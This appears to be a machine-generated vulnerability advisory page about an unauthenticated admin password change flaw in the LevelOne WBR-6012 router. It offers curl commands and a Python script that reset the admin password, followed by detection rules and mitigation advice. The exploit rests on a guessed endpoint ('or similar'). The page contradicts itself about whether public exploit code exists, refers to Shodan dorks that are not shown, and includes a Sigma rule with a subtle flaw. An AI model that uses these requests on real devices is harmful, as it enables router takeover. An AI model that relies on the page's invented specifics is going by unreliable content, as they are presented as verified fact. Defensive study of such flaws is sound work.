CVE-2024-33699
Executive Summary
CVE-2024-33699 is a critical authentication bypass vulnerability in the LevelOne WBR-6012 router firmware version R0.40e6. The web application allows an unauthenticated attacker to change the administrator password without providing the current password, leading to full device compromise. With a CVSS score of 9.9, this vulnerability poses an extreme risk to network integrity, confidentiality, and availability. No official patch has been released, and no public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.9 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The threat level is critical due to the lack of authentication required, low complexity, and the ability to fully compromise the router, potentially enabling man-in-the-middle attacks, DNS hijacking, and lateral movement within the network.
Deep Dive & Mechanics
The vulnerability resides in the password change functionality of the LevelOne WBR-6012 web interface. The endpoint responsible for updating the administrator password does not validate the current password or require an authenticated session. An attacker can send a crafted HTTP POST request directly to the password change endpoint, supplying a new password of their choice. The server processes the request without verifying the identity of the requester, effectively allowing anyone on the network (or from the internet if exposed) to take over the device.
The root cause is a missing authentication check (CWE-306) in the server-side logic. The firmware likely uses a simple PHP or CGI script that accepts parameters like new_password and confirm_password without checking for a valid session token or the old password.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the entire password change mechanism in firmware R0.40e6. A patched version would require:
- Vulnerable: The endpoint
change_password.cgi(or similar) acceptsnew_passwordandconfirm_passwordwithout any session validation. - Patched: The endpoint would first verify a valid session token (e.g., via cookie or POST parameter) and require the current password to be provided and validated against the stored hash.
Example of vulnerable request:
POST /change_password.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
new_password=attacker123&confirm_password=attacker123
A patched version would require:
POST /change_password.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: session=valid_session_token
Content-Type: application/x-www-form-urlencoded
current_password=oldpassword&new_password=newpass&confirm_password=newpass
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain a LevelOne WBR-6012 router with firmware R0.40e6.
- Connect the router to a test network with a computer on the same subnet.
- Ensure the web interface is accessible (default IP: 192.168.1.1).
Exploitation Steps:
- Send a POST request to the password change endpoint without authentication:
curl -X POST http://192.168.1.1/change_password.cgi \ -d "new_password=attacker123&confirm_password=attacker123" - Verify the password change by logging in with the new credentials:
curl -u admin:attacker123 http://192.168.1.1/ - Once authenticated, the attacker can modify DNS settings, disable firewall rules, or exfiltrate network traffic.
Automated Exploit (Python):
import requests
target = "http://192.168.1.1"
new_pass = "attacker123"
payload = {
"new_password": new_pass,
"confirm_password": new_pass
}
r = requests.post(f"{target}/change_password.cgi", data=payload)
if r.status_code == 200:
print(f"Password changed to {new_pass}")
else:
print("Exploit failed")
Blue Team
Detection:
- Monitor for POST requests to
/change_password.cgior similar endpoints without a valid session cookie. - Alert on multiple failed login attempts followed by a successful login with a new password.
- Use network monitoring to detect unauthorized configuration changes.
Honeypot:
- Deploy a fake LevelOne WBR-6012 web interface that logs all requests to
/change_password.cgiand alerts on any POST data containingnew_password.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/change_password.cgiwithout a session cookie. - HTTP requests with
new_passwordandconfirm_passwordparameters. - Unusual DNS or DHCP configuration changes from the router.
- POST requests to
- Host:
- Router logs showing password change events without prior authentication.
- New admin password not matching known credentials.
- File:
- Modified
/etc/shadowor equivalent on the router (if accessible).
- Modified
Detection Engineering
YARA Rule
rule CVE_2024_33699_LevelOne_Router_Exploit {
meta:
description = "Detects HTTP requests targeting the password change vulnerability in LevelOne WBR-6012"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-33699"
strings:
$s1 = "new_password=" ascii nocase
$s2 = "confirm_password=" ascii nocase
$s3 = "/change_password.cgi" ascii nocase
condition:
all of them
}
Sigma Rule
title: LevelOne WBR-6012 Password Change Without Authentication
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated POST requests to the password change endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/change_password.cgi'
cs-uri-query|contains: 'new_password='
condition: selection
falsepositives:
- Legitimate admin password changes (should have session cookie)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-33699 LevelOne WBR-6012 Password Change Exploit"; flow:to_server; content:"POST"; http_method; content:"/change_password.cgi"; http_uri; content:"new_password="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable remote management (WAN-side access) to the router's web interface.
- Restrict access to the web interface to trusted IP addresses only.
- Monitor logs for unauthorized password changes.
Long-term:
- Contact LevelOne for a firmware update. If unavailable, consider replacing the device.
- Implement network segmentation to isolate IoT devices.
- Use a VPN for remote management instead of exposing the web interface.
Workaround:
- If the router cannot be replaced, create a firewall rule to block all external traffic to port 80/443 on the router's WAN IP.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.